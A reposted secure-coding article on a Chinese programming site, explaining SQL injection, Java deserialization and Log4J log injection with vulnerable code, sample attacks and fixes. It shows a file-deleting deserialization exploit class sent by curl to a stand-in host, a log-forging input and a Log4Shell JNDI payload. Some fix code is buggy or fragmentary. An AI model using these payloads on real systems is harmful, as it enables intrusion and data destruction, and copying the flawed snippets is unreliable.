”工欲善其事,必先利其器。“—孔子《论语.录灵公》
首页 > 编程 > 目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们

目前隐藏在代码中的主要安全缺陷 - 以及如何修复它们

发布于2024-10-31
浏览:865

In 2019, a famous breach in Fortnite, the famous game, reportedly put millions of players at risk of malware. The incident highlighted the importance of properly securing SQL databases.

But this is not an isolated issue.

Multiple attacks involving SQL injection have occurred, like the one Tesla experienced in 2018. In that case, another SQL injection attack affected Tesla’s Kubernetes console, causing financial losses due to unauthorized crypto mining activities.

But this is not only about SQL Injection.

There are other attack vectors that your code can suffer right now, as big companies have suffered in the past.

As the one in 2021 in the Log4J library called Log4Shell that involved a logging injection attack that impacted millions of servers worldwide up to today, or the one in 2022 in Atlassian Jira that involved a deserialization attack impacting multiple versions of Jira conceding full control to the attacker.

It could happen to anyone, even to you.

In this article, I’ll discuss the 3 most common attacks in code: SQL injection, Deserialization Injection, and Logging Injection, and how to solve them.

SQL Injection

Applications that store information in databases often use user-generated values to check for permissions, store information, or simply retrieve data stored in tables, documents, points, nodes, etc.

At that moment, when our application is using those values, improper use could allow attackers to introduce extra queries sent to the database to retrieve unallowable values or even modify those tables to gain access.

The following code retrieves a user from the database considering the username provided in the login page. Everything seems to be fine.

Top Security Flaws hiding in your code right now - and how to fix them

public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users "  
                   "WHERE username='"   user   "' AND password='"   pass   "'";
       Statement statement = connection.createStatement();
       ResultSet resultSet = statement.executeQuery(query);
       List users = new ArrayList();
       while (resultSet.next()) {
           users.add(resultSet.getString(0));
       }
       return users;
   }

However, when the attacker uses injection techniques, this code, using string interpolation, will result in unexpected results, allowing the attacker to log into the application.

Top Security Flaws hiding in your code right now - and how to fix them

To fix this problem we would change this approach from using string concatenation to parameter injection. In fact, String concatenation is generally a bad idea, in terms of performance and security.

String query = "SELECT userid FROM users "  
               "WHERE username='"   user   "' AND password='"   pass   "'";

Changing the inclusion of the parameter values directly in the SQL String, to parameters that we can reference later will solve the problem of hacked queries.

 String query = "SELECT userid FROM users WHERE username = ? AND password = ?";

Our fixed code will look like this, with the prepareStatement and the value setting for each parameter.

    public List findUsers(String user, String pass) throws Exception {
       String query = "SELECT userid FROM users WHERE username = ? AND password = ?";
       try (PreparedStatement statement = connection.prepareStatement(query)) {
           statement.setString(1, user);
           statement.setString(2, pass);
           ResultSet resultSet = statement.executeQuery(query);
           List users = new ArrayList();
           while (resultSet.next()) {
               users.add(resultSet.getString(0));
           }
           return users;
       }
    }

The SonarQube and SonarCloud rules that help detect the SQL injection vulnerability can be found here

Deserialization injection

Deserialization is the process of converting data from a serialized format (like a byte stream, string, or file) back into an object or data structure that a program can work with.

Common usages of deserialization include data sent between APIs and Web services in the form of JSON structures, or in modern applications using RPC (Remote Procedure Calls) in the form of protobuf messages.

Converting the message payload into an Object can involve serious vulnerabilities if no sanitizing or checking steps are implemented.

   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
       ServletInputStream servletIS = request.getInputStream();
       ObjectInputStream  objectIS  = new ObjectInputStream(servletIS);
       User user                 = (User) objectIS.readObject();
     }
   class User implements Serializable {
       private static final long serialVersionUID = 1L;
       private String name;

       public User(String name) {
           this.name = name;
       }

       public String getName() {
           return name;
       }
   }

We can see here that we are using objectIS, a direct value coming from the user in the request input stream, and converting it to a new object.
We expect that the value will always be one of the classes that our application uses. Sure, our client would never send anything else, right? Would they?

But what if a malicious client is sending another class in the request?

   public class Exploit implements Serializable {
       private static final long serialVersionUID = 1L;

       public Exploit() {
           // Malicious action: Delete a file
           try {
               Runtime.getRuntime().exec("rm -rf /tmp/vulnerable.txt");
           } catch (Exception e) {
               e.printStackTrace();
           }
       }
   }

In this case, we have a class that deletes a file during the default constructor, which will happen on the previous readObject call.

The attacker only needs to serialize this class and send it to the API :

   Exploit exploit = new Exploit();
   FileOutputStream fileOut = new FileOutputStream("exploit.ser");
   ObjectOutputStream out = new ObjectOutputStream(fileOut);
   out.writeObject(exploit);
...
$ curl -X POST --data-binary @exploit.ser http://vulnerable-api.com/user

Fortunately, there’s an easy way to fix this. We need to check if the class to be deserialized is from one of the allowed types before creating the object.

In the code above, we have created a new ObjectInputStream with the “resolveClass” method overridden containing a check on the class name. We use this new class, SecureObjectInputStream, to get the object stream. But we include an allowed list check before reading the stream into an object (User).

 public class SecureObjectInputStream extends ObjectInputStream {
   private static final Set ALLOWED_CLASSES = Set.of(User.class.getName());
   @Override
   protected Class resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException {
     if (!ALLOWED_CLASSES.contains(osc.getName())) {
       throw new InvalidClassException("Unauthorized deserialization", osc.getName());
     }
     return super.resolveClass(osc);
   }
 }
...
 public class RequestProcessor {
   protected void doGet(HttpServletRequest request, HttpServletResponse response) {
     ServletInputStream servletIS = request.getInputStream();
     ObjectInputStream  objectIS  = new SecureObjectInputStream(servletIS);
     User input                 = (User) objectIS.readObject();
   }
 }

The SonarCloud/SonarQube and SonarLint rules that help detect the deserialization injection vulnerability can be found here

Logging injection

A logging system is a software component or service designed to record events, messages, and other data generated by applications, systems, or devices. Logs are essential for monitoring, troubleshooting, auditing, and analyzing software and system behavior and performance.

Usually, these applications record failures, attempts to log in, and even successes that can help in debugging when an eventual issue occurs.

But, they can also become an attack vector.

Log injection is a type of security vulnerability where an attacker can manipulate log files by injecting malicious input into them. If logs are not properly sanitized, this can lead to several security issues.

We can find issues like log forging and pollution when the attacker modifies the log content to corrupt them or to add false information to make them difficult to analyze or to break log parsers, and also log management systems exploits, where the attacker will inject logs to exploit vulnerabilities in log management systems, leading to further attacks such as remote code execution.

Let’s consider the following code, where we take a value from the user and log it.

   public void doGet(HttpServletRequest request, HttpServletResponse response) {
       String user = request.getParameter("user");
       if (user != null){
         logger.log(Level.INFO, "User: {0} login in", user);
       }
   }

It looks harmless, right?

But what if the attacker tries to log in with this user?

 john login in\n2024-08-19 12:34:56 INFO User 'admin' login in

Top Security Flaws hiding in your code right now - and how to fix them

It’s clearly a wrong user name and it will fail. But, it will be logged and the person checking the log will get very confused

   2024-08-19 12:34:56 INFO User 'john' login in 
   2024-08-19 12:34:56 ERROR User 'admin' login in 

Or even worse !! If the attacker knows the system is using a non-patched Log4J version, they can send the below value as the user and the system will suffer from remote execution. The LDAP server controlled by the attacker responds with a reference to a malicious Java class hosted on a remote server. The vulnerable application downloads and executes this class, giving the attacker control over the server.

    $ { jndi:ldap://malicious-server.com/a}

But we can prevent these issues easily.

Sanitizing the values to be logged is important to avoid the log forging vulnerability, as it can lead to confusing outputs forged by the user.

     // Log the sanitised username
     String user = sanitiseInput(request.getParameter("user"));
   }

  private String sanitiseInput(String input) {
     // Replace newline and carriage return characters with a safe placeholder
     if (input != null) {
       input = input.replaceAll("[\\n\\r]", "_");
     }
     return input;
   }

The result we’ll see in the logs is the following, making it now easier to see that all the logs belong to the same call to the log system.

   2024-08-19 12:34:56 INFO User 'john' login in_2024-08-19 12:34:56 ERROR User 'admin' login in 

In order to prevent the exploit to the logging system, it’s important to keep our libraries updated to the latest stable versions as much as possible. For log4j, that remediation would disable the functionality. We can also manually disable JNDI.

     -Dlog4j2.formatMsgNoLookups=true

If you still need to use JNDI, then a common sanitizing process could avoid malicious attacks by just checking the destination against an allowed destinations list.

public class AllowedlistJndiContextFactory implements InitialContextFactory {
   // Define your list of allowed JNDI URLs
   private static final List ALLOWED_JNDI_PREFIXES = Arrays.asList(
       "ldap://trusted-server.com",
       "ldaps://secure-server.com"
   );

   @Override
   public Context getInitialContext(Hashtable environment) throws NamingException {
       String providerUrl = (String) environment.get(Context.PROVIDER_URL);

       if (isAllowed(providerUrl)) {
           return new InitialContext(environment); 
       } else {
           throw new NamingException("JNDI lookup "   providerUrl   " not allowed");
       }
   }

   private boolean isAllowed(String url) {
       if (url == null) {
           return false;
       }
       for (String allowedPrefix : ALLOWED_JNDI_PREFIXES) {
           if (url.startsWith(allowedPrefix)) {
               return true;
           }
       }
       return false;
   }
}

And configure our system to use the filtering context factory.

-Djava.naming.factory.initial=com.yourpackage.AllowedlistJndiContextFactory

The SonarCloud/SonarQube and SonarLint rules that help detect the logging injection vulnerability can be found here

Conclusion

Security vulnerabilities are not just theoretical concerns but real threats that have already impacted major companies, resulting in substantial financial and reputational damage.

From SQL injections to Deserialization and Logging injections, these attack vectors are prevalent and can easily exploit insecure code if not properly addressed.

By understanding the nature of these vulnerabilities and implementing the recommended fixes, such as using parameterized queries, avoiding unsafe deserialization practices, and properly securing logging frameworks, developers can significantly reduce the risk of these attacks.

Proactive security measures are essential to protect your applications from becoming the next victim of these widespread and damaging exploits.

Sonar provides free and opensource tools like SonarLint, SonarQube, and SonarCloud that can detect, warn about, and suggest fixes for all these vulnerabilities.

版本声明 本文转载于:https://dev.to/jonathanvila/top-security-flaws-hiding-in-your-code-right-now-and-how-to-fix-them-3id6?1如有侵犯,请联系[email protected]删除
最新教程 更多>
  • 探索 Java 23 的新特性
    探索 Java 23 的新特性
    亲爱的开发者、编程爱好者和学习者, Java 开发工具包 (JDK) 23 已正式发布(2024/09/17 正式发布),标志着 Java 编程语言发展的又一个重要里程碑。此最新更新引入了大量令人兴奋的功能和增强功能,旨在改善开发人员体验、性能和模块化。 在本文中,我将分享 JDK 23 的一些主要...
    编程 发布于2024-11-06
  • ES6 数组解构:为什么它没有按预期工作?
    ES6 数组解构:为什么它没有按预期工作?
    ES6 数组解构:不可预见的行为在 ES6 中,数组的解构赋值可能会导致意外的结果,让程序员感到困惑。下面的代码说明了一个这样的实例:let a, b, c [a, b] = ['A', 'B'] [b, c] = ['BB', 'C'] console.log(`a=${a} b=${b} c=$...
    编程 发布于2024-11-06
  • 如何调整图像大小以适合浏览器窗口而不变形?
    如何调整图像大小以适合浏览器窗口而不变形?
    调整图像大小以适应浏览器窗口而不失真调整图像大小以适应浏览器窗口是一项看似简单的解决方案的常见任务。然而,遵守特定要求(例如保留比例和避免裁剪)可能会带来挑战。没有滚动条和 Javascript 的解决方案(仅限 CSS)<html> <head> <style&g...
    编程 发布于2024-11-06
  • 面向对象 - Java 中的方法
    面向对象 - Java 中的方法
    在Java中的面向对象编程中,方法在定义类和对象的行为中起着至关重要的作用。它们允许您执行操作、操纵数据以及与其他对象交互。它们允许您执行操作、操纵数据以及与其他对象交互。在本文中,我们将探讨 Java 中的方法、它们的特性以及如何有效地使用它们。 什么是方法? 方法是类中定义对象行...
    编程 发布于2024-11-06
  • 如何使用 MAMP 修复 Mac 上 Laravel 迁移中的“没有这样的文件或目录”错误?
    如何使用 MAMP 修复 Mac 上 Laravel 迁移中的“没有这样的文件或目录”错误?
    解决 Mac 上 Laravel 迁移中的“没有这样的文件或目录”错误简介:当尝试在 Mac 上的 Laravel 项目中运行“php artisan migrate”命令时,用户经常会遇到找不到文件或目录的错误。这个令人沮丧的问题可能会阻碍迁移过程并阻止开发人员在项目中取得进展。在本文中,我们将深...
    编程 发布于2024-11-06
  • SOLID 原则使用一些有趣的类比与车辆示例
    SOLID 原则使用一些有趣的类比与车辆示例
    SOLID 是计算机编程中五个良好原则(规则)的缩写。 SOLID 允许程序员编写更易于理解和稍后更改的代码。 SOLID 通常与使用面向对象设计的系统一起使用。 让我们使用车辆示例来解释 SOLID 原理。想象一下,我们正在设计一个系统来管理不同类型的车辆,例如汽车和电动汽车,...
    编程 发布于2024-11-06
  • 如何从另一个异步函数中的异步函数返回解析值?
    如何从另一个异步函数中的异步函数返回解析值?
    如何从异步函数返回一个值?在提供的代码中,init()方法返回一个Promise,但是getPostById() 方法尝试直接访问 Promise 返回的值。为了解决这个问题,需要修改 init() 方法,使其在 Promise 解析后返回 getPostById() 的值。更新后的代码如下:cla...
    编程 发布于2024-11-06
  • 了解如何使用 React 构建多人国际象棋游戏
    了解如何使用 React 构建多人国际象棋游戏
    Hello and welcome! ?? Today I bring a tutorial to guide you through building a multiplayer chess game using SuperViz. Multiplayer games require real-t...
    编程 发布于2024-11-06
  • 如何使用 JavaScript 正则表达式验证 DD/MM/YYYY 格式的日期?
    如何使用 JavaScript 正则表达式验证 DD/MM/YYYY 格式的日期?
    使用 JavaScript 正则表达式验证 DD/MM/YYYY 格式的日期验证日期是编程中的常见任务,并且能够确保日期采用特定格式至关重要。在 JavaScript 中,正则表达式提供了执行此类验证的强大工具。考虑用于验证 YYYY-MM-DD 格式日期的正则表达式模式:/^\d{4}[\/\-]...
    编程 发布于2024-11-06
  • JavaScript 中的节流和去抖:初学者指南
    JavaScript 中的节流和去抖:初学者指南
    使用 JavaScript 时,过多的事件触发器可能会降低应用程序的速度。例如,用户调整浏览器窗口大小或在搜索栏中输入内容可能会导致事件在短时间内重复触发,从而影响应用程序性能。 这就是节流和去抖可以发挥作用的地方。它们可以帮助您管理在处理过于频繁触发的事件时调用函数的频率。 ?什么...
    编程 发布于2024-11-06
  • 在 Go 中导入私有 Bitbucket 存储库时如何解决 403 Forbidden 错误?
    在 Go 中导入私有 Bitbucket 存储库时如何解决 403 Forbidden 错误?
    Go 从私有 Bitbucket 存储库导入问题排查(403 禁止)使用 go get 命令从 Bitbucket.org 导入私有存储库可能会遇到 403 Forbidden 错误。要解决此问题,请按照以下步骤操作:1.建立 SSH 连接:确保您已设置 SSH 密钥并且能够使用 SSH 连接到 B...
    编程 发布于2024-11-06
  • Singleton 和原型 Spring Bean 范围:详细探索
    Singleton 和原型 Spring Bean 范围:详细探索
    当我第一次开始使用 Spring 时,最让我感兴趣的概念之一是 bean 范围的想法。 Spring 提供了各种 bean 作用域,用于确定在 Spring 容器内创建的 bean 的生命周期。最常用的两个范围是 Singleton 和 Prototype。了解这些范围对于设计高效且有效的 Spri...
    编程 发布于2024-11-06
  • 如何有效平滑噪声数据曲线?
    如何有效平滑噪声数据曲线?
    优化平滑噪声曲线考虑近似的数据集:import numpy as np x = np.linspace(0, 2*np.pi, 100) y = np.sin(x) np.random.random(100) * 0.2这包括 20% 的变化。 UnivariateSpline 和移动平均线等方...
    编程 发布于2024-11-06
  • 如何在 MySQL 中为有序序列值重新编号主索引?
    如何在 MySQL 中为有序序列值重新编号主索引?
    为有序序列值重新编号主索引如果您的 MySQL 表的主索引 (id) 以不一致的顺序出现(例如,1、 31, 35, 100),您可能希望将它们重新排列成连续的系列 (1, 2, 3, 4)。要实现此目的,您可以采用以下方法而不创建临时表:SET @i = 0; UPDATE table_name ...
    编程 发布于2024-11-06
  • 增强的对象文字
    增强的对象文字
    ES6引入了3种编写对象字面量的方法 第一种方法: - ES6 Enhanced object literal syntax can take an external object like salary object and make it a property of the developer...
    编程 发布于2024-11-06

免责声明: 提供的所有资源部分来自互联网,如果有侵犯您的版权或其他权益,请说明详细缘由并提供版权或权益证明然后发到邮箱:[email protected] 我们会第一时间内为您处理。

Copyright© 2022 湘ICP备2022001581号-3